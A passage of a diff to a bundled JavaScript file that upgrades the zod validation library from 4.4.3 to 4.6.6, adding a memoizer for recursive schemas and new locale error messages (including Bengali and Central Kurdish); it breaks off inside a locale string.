inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -59081,20 +59764,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -59108,14 +59791,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -59127,7 +60089,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -59138,22 +60102,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -59165,13 +60136,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59197,12 +60169,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -59272,13 +60248,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59304,12 +60281,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59378,7 +60359,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -59420,6 +60401,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -59453,12 +60442,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -59535,13 +60528,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59567,12 +60561,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -59656,13 +60654,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59688,12 +60801,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -59761,17 +60878,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 